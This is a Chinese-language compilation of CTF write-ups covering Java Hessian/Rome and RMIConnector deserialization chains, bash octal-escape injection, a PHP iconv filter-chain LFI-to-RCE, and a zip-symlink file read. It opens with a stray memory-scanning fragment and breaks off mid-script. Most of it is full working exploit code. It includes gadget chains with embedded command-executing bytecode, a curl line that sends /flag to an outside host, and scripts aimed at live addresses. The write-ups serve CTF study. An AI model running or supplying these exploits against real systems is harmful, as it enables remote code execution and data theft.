      function findOffset(HANDLE current_process, int64 start_address, int64 dllSize) -> int64:
        int64 offset = 0
        bytes signature = "\x0f\x05\x03"
        bytes currentbytes = ""
        while currentbytes != signature:
          offset++
          if offset + 3 > dllSize:
            return INFINITE
          ReadProcessMemory(current_process, start_address + offset, &currentbytes, 3, nullptr)
        return start_address + offset 
      

       
  • 参考文献


  • 环境搭建


    关于 RPC:

    Remote Procedure Call Protocol,远程过程调用协议,和 RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
    

    通讯过程:
    1.客户端发起请求,并按照 RPC 协议格式填充信息
    2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
    3.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理
    4.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回
    

    maven 添加扩展:
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    
  • 漏洞分析


    漏洞的触发点:HessianInput#readObject,由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77)。
    image-20220515194006621
    接着调用 readMap 进行进一步解析,接着进入 getDeserializer,然后创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中
    image-20220515194948774
    这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。
    那么只需要找一条入口为 hashcode 的反序列化链即可。
    Rome
    XBean
    Resin
    SpringPartiallyComparableAdvisorHolder
    SpringAbstractBeanFactoryPointcutAdvisor
    
  • 打 Rome


    poc:
    package moonflower.hessian;
    
    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    import com.caucho.hessian.io.ObjectNameDeserializer;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.rowset.JdbcRowSetImpl;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.Serializable;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    
    public class Hessian_Rome {
    
        public static <T> byte[] serialize(T o) throws IOException {
            ByteArrayOutputStream bao = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(bao);
            output.writeObject(o);
            System.out.println(bao.toString());
            return bao.toByteArray();
        }
    
        public static <T> T deserialize(byte[] bytes) throws IOException {
            ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
            HessianInput input = new HessianInput(bai);
            Object o = input.readObject();
            return (T) o;
        }
    
        public static void setValue(Object obj, String name, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static Object getValue(Object obj, String name) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            return field.get(obj);
        }
    
        public static void main(String[] args) throws Exception {
            JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
            String url = "ldap://localhost:9999/EXP";
            jdbcRowSet.setDataSourceName(url);
    
            ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
    
            HashMap hashMap = makeMap(equalsBean, "1");
    
            byte[] s = serialize(hashMap);
            System.out.println(s);
            System.out.println((HashMap)deserialize(s));
        }
    
        // 用反射动态创建数组,防止在狗仔 gadget 的时候触发 put 方法导致 RCE。
        public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception {
            HashMap<Object, Object> s = new HashMap<>();
            setValue(s, "size", 2);
            Class<?> nodeC;
            try {
                nodeC = Class.forName("java.until.HashMap$Node");
            }
            catch (ClassNotFoundException e) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setValue(s, "table", tbl);
            return s;
        }
    
    }
    

    Rome 的 rce 过程:
    image-20220515203116261
    进入触发点,接着调用 EqualBean 的 hashcode 方法
    image-20220515203358736
    接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)
    image-20220515203524747
    接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter
    image-20220515204219256
    image-20220515204314905
    当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。
    image-20220515204531924
    image-20220515204649343
  • 不出网的失败打法


    参考 CC2,在 ToStringBean.toString() 的地方能调用任意的 getter,正常的思路是可以利用 TemplatesImpl 的 getOutputProperties 方法实现任意类加载,但这个思路在 Hessian 反序列化中是不行的!!!
    先回顾一下正常的 CC2,从 Transformer 开始,跟进到 getTransletInstance 中,并在其中实例化恶意 class。
    image-20220517142350927
    顺着调用栈向上找,恶意 class 的生成在 defineTransletClasses 中实现:
    image-20220517151748600
    注意这里的 _tfactory 是传入的 TransformerFactoryImpl(因为默认为 null,不传的话会直接触发异常)。
    如果在 Hessian 反序列化中用 TemplatesImpl 代替 ROME 中的 jndi 注入,会在 toString 中调用 TemplatesImpl 的 getOutputProperties,但这里重点关注传入的关键参数
    image-20220517143810922
    跟进具体的调用
    image-20220517144002313
    同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空
    image-20220517152239480
    找一下 _tfactory 的定义发现 _tfactory 是用 transient 修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。
    image-20220517152444869
    但 CC2 为什么可以?原因是 TemplatesImpl 的 readObject 的最后一句直接 new 了一个 _tfactory(这也是为什么虽然王传的大部分 CC2 都要给 _tfactory 传参但不传也行的原因),而直接拼 Rome 的链子不会用到原生的 readObject,所以也不会实例化这个 _tfactory。
    image-20220517152811270
  • 不出网的成功打法


    利用了 java.security.SignedObject ,直接打二次反序列化即可。
    image-20220517160228829
    具体的 payload 见 【HFCTF2022 ezchain】。
  • 参考文献


 

  • [虎符CTF 2022]ezchain


    从 docker-compose 中能判断不出网


    image-20220517134303888
    反编译后查看 handle,首先需要实现一个 hash 碰撞,然后就是一个 Hessian 反序列化的接口。
    image-20220517130137249
    hashcode 部分实际上就是实现了一个 31 进制转换,把前两位的 HF 换成 Ge 就能绕过了。
    image-20220517130454836
    然后就是不出网的 hessian 反序列化的利用,用了 java.security.SignedObject 的二次反序列化,原因前面的 hessian 反序列化已经提过了(这里使用 codeql 工具审出来的,具体操作。。。下次一定)
    poc:(第一次反序列化调用原生 readObject,第二次反序列化直接用 CC2 打就可)
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    import org.slf4j.impl.StaticLoggerBinder;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.util.Base64;
    import java.util.HashMap;
    
    public class payload {
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
            //构造TemplatesImpl对象
            byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates=new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517203605154
    可以执行命令但不出网不能弹 shell,考虑将执行命令的结果写到文件中再读文件,但操作起来比较麻烦,实战中也要考虑路径的问题。
    这里参考内存马获取回显的思路,想办法拿到存储 Request 或 Respnse 的全局变量,通常是再线程中找,可以劫持 handler 实现内存马。
    image-20220517211136215
    最终能注入的 poc:
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import javassist.CannotCompileException;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.NotFoundException;
    import java.util.HashMap;
    
    public class payload {
    
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException {
            //构造TemplatesImpl对象
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get("testHandler");
            byte[] bytecode=cc.toBytecode();
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517222824106
  • [TCTF 2021]buggyLoader


    java 反序列化,但问题是反序列化的这个 objectInputStre
    am 是重写的,resolveClass 也被重写了,和原生的 readObject 做一下对比
    image-20220526154552555
    image-20220526154610618
    forname 加载变成了调用 URLClassLoader 的 loadClass 加载,可参考 shiro 反序列化的利用,shiro 在 readObject 前调用ClassResolvingObjectInputStream 重写了 resolveClass,也是使用了 ClassLoader.loadClass。
    它们之间的区别(简单理解)是 Class.forName 能解析数组类型,但 ClassLoader 不会解析数组类型,加载时会抛出 ClassNotFoundException。
    但这个题的 ClassLoader 和 shiro 还不太一样,在 shiro 中用的是 tomcat 的类加载机制,也就是双亲委派
    image-20220526192442769
    在反序列化的时候不能加载 WEB-INF/lib 下的数组类型,但无数组类型的 CC3 就能打(即使里面用到了 java 原生类数组 byte[] 等)。
    但这个题卡的就很死,p 神提到的用 CC5 打 TemplatesImpl 是用不了的。(执行过程中还是调用了数组类型)
    打法1:出网条件下的 JRMPClient

    打法2:RMIConnectorServer 二次反序列化

    利用自动审计工具找到了利用点 javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
    image-20220526194919783
    其中传入的 base64 可控,将 base64 解码后会对其进行反序列化操作,然后随便选一条链子接着打就行了。(get 交不了要改成 post)
    package myexp.buggyloader;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.*;
    import ysoserial.payloads.util.Reflections;
    import javax.management.remote.JMXServiceURL;
    import javax.management.remote.rmi.RMIConnector;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class JMX {
        public static void main(String[] args) throws Exception {
            Object obj = getObject();
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oss = null;
            oss = new ObjectOutputStream(bos);
            oss.writeUTF("SJTU");
            oss.writeInt(1896);
            oss.writeObject(obj);
            oss.flush();
            byte[] bytes = bos.toByteArray();
            bos.close();
    
            String hex = Utils.bytesTohexString(bytes);
            System.out.println(hex);
            byte[] b2 = Utils.hexStringToBytes(hex);
            InputStream inputStream1 = new ByteArrayInputStream(b2);
            ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1);
            System.out.println(objectInputStream1.readUTF());
            System.out.println(objectInputStream1.readInt());
            Object obj2 = objectInputStream1.readObject();
        }
    
        private static Object getObject() throws Exception {
            Transformer transformer = InvokerTransformer.getInstance("connect");
            CommonsCollections5 commonsCollections5 = new CommonsCollections5();
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
            objectOutputStream.writeObject(commonsCollections5.getObject("calc"));
            String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray()));
            String finalExp = "service:jmx:rmi:///stub/" + expbase64;
            RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>());
    
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformer);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
            HashSet map = new HashSet(1);
            map.add("foo");
            Field f = null;
    
            try {
                f = HashSet.class.getDeclaredField("map");
            } catch (NoSuchFieldException var18) {
                f = HashSet.class.getDeclaredField("backingMap");
            }
    
            Reflections.setAccessible(f);
            HashMap innimpl = (HashMap) f.get(map);
            Field f2 = null;
    
            try {
                f2 =HashMap.class.getDeclaredField("table");
            } catch (NoSuchFieldException var17) {
                f2 = HashMap.class.getDeclaredField("elementData");
            }
    
            Reflections.setAccessible(f2);
            Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
            Object node = array[0];
            if (node == null) {
                node = array[1];
            }
    
            Field keyField = null;
    
            try {
                keyField = node.getClass().getDeclaredField("key");
            } catch (Exception var16) {
                keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
            }
    
            Reflections.setAccessible(keyField);
            keyField.set(node, entry);
            return map;
        }
    }
    

    从 connect 开始分析
    image-20220527092013346
    然后进入 findRMIServer,其中 directoryURL 中存放着 payload
    image-20220527092322098
    之后就可以进入 findRMIServerJRMP 触发二次反序列化。
    image-20220527092435123
  • 参考文献


 

  • [LineCTF 2022]gotm


    go ssti + jwt 伪造,首先在根目录发现直接解析,传入 {{.}} 能打印环境变量并泄露对应的 key,注册特定用户生成 token 再传入,拿到 key 之后直接加密即可。
    image-20220509201832935
  • [LineCTF 2022]BB


    linux 中可以用 $'\' 以 8 进制形式执行指令,
    cat flag == $'\143\141\164' flag
    

    centos,可以用 p 神那篇 https://tttang.com/archive/1450/ 利用环境变量注入执行任意命令,用 8 进制绕过第一个过滤即可。
    import string
    import requests
    
    cmd = 'cat /flag | curl -d @- http://vps:port'
    
    o = ''
    
    for c in cmd:
        if c in string.ascii_letters:
            o += f"$'\\{oct(ord(c))[2:]}'"
        else:
            o += c
    
    r = requests.get(f'http://213f6e8f-d034-4a8a-92af-97f37cdbfc70.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
    print(r.text)
    

    image-20220509212538393
  • [HXPCTF 2021]includer's revenge


    著名的 nginx+LFI getshell,大致流程:
    1.Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件
    2.绕过 PHP 对软链接的解析
    

    首先是第一个问题:产生的临时文件会立刻被删除,但在 linux 下,如果打开一个文件,该文件会出现在 /proc/pid/fd 下,而如果一个文件没被关闭就直接删除,依然可以读到文件的内容。
    但读的话是以软连接的形式读的,而 php 会先解析软连接,再打开。这时就有了新的问题,这个被删除的软链接会在后面带有 (deleted),也就是:
    /proc/pid/fd/x (deleted)
    

    这样的话 php 就会解析失败,这里通过 https://www.anquanke.com/post/id/213235#h3-5 require_once 绕过不能包含重复文件的思路,加一层目录嵌套起来,能防止 php 对软链接进行解析。
    /proc/self/fd/34/../../../34/fd/9
    

    还有一个问题就是确定 pid,需要在一个范围内进行爆破。首先在 /proc/cmdline 中找到 nginx 的 worker process(nginx master 进程不处理请求),这里 worker process 的数量不会超过 cpu 核心数量(可以通过 /proc/cpuinfo)查看,然后就是查看 /proc/sys/kernel/pid_max 找到最大的 pid,就能确定扫描范围。
    最后的 payload:
    import requests
    
    url = "http://localhost/index.php"
    file_to_use = "/etc/passwd"
    command = "/readflag"
    
    #<?=`$_GET[0]`;;?>
    base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
    
    conversions = {
        'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
        'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
        'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
        's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
        'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
        'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
        'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
        'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
        '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
        'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
        'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
        'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
        'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
        '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
        '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    }
    
    
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"
    
    
    for c in base64_payload[::-1]:
            filters += conversions[c] + "|"
            # decode and reencode to get rid of everything that isn't valid base64
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            # get rid of equal signs
            filters += "convert.iconv.UTF8.UTF7|"
    
    filters += "convert.base64-decode"
    
    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    
    r = requests.get(url, params={
        "0": command,
        "action": "include",
        "file": final_payload
    })
    
    print(r.text)
    
  • [HXPCTF 2021]shitty blog


    先看一下能交互的地方,$_POST['content'] 被 htmlspecialchars 防死了,_POST['delete'] 没什么用,$_COOKIE['session'] 输入后,经过拆分,判断处理之后,其中的一部分在 insert_entry 中经过预编译后插入,但在 get_user 和 delete_entry 的时候从数据块中取出,直接拼接,存在二次注入。
    再看这一条链子中的判断,主要是这句:
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
            exit();
    }
    

    其中 crypt 会被 \x00 截断,也就是说只要 hash_hmac 是以 \x00 开头,那么 crypt 就是加密了一个空(NULL),使加密结果固定。
    if(! isset($_COOKIE['session'])){
        $id = random_int(1, PHP_INT_MAX);
        $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
    }
    

    依照自动生成 session 的规则,只要能生成两个 mac 相同但 id 不同的 session ,就能说明 hash_hmac('md5', $id, $secret, true) 结果为空。在此结果之上构造 id,就可以实现注入。
    php 使用 PDO 链接 sqlite,默认支持堆叠注入,最后只需要在 data 目录下面写一个 webshell 就 ok 了。
  • [HXPCTF 2021]unzipper


    传一个压缩包上去,然后会给你解压,但这里不知道 sandbox 的指,没法直接传?,并且这里 nginx 的配置是:
    location = /index.php {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }
    

    指解析 index.php,其它的 php 并不解析。
    如果是普通的 zip 解压然后读可以用软连接读文件,但这里的不同之处在于对传入的文件名进行了 realpath,会去除软连接和相关目录操作,直接返回完整路径。
    但是 realpath 不能识别各种协议(PHP 伪协议),所有可以创建一个目录,目录名是 php 伪协议开头,这样就可以绕过判断。
    poc:
    #!/bin/bash
    
    rm -rf exploit.dir
    mkdir -p exploit.dir
    pushd exploit.dir
    
    TARGET='http://65.108.176.76:8200'
    EPATH='php://filter/convert.base64-encode/resource=exploit'
    
    mkdir -p $EPATH
    ln -s /flag.txt exploit
    zip -y -r exploit.zip *
    
    curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
    curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
    
    echo
    popd
    
  • [HXPCTF 2021]counter


    也挺离谱的。。。通过 system 时新创建进程,如果把文件名设置为一串 base64,那么 system 起的这个进程的 /proc/pid/cmdline 就是这一串我们可控的 base64,在 include 中通过 php 伪协议解析。
    问题还是 pid 的爆破范围,这里通过 /proc/sys/kernel/ns_last_pid 来确定,这个文件显示这个 pid 命名空间中分配的最后一个 pid。
    poc:
    #!/usr/bin/env python3
    import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
    from urllib.parse import urlparse,quote_from_bytes
    def urlencode(data, safe=''):
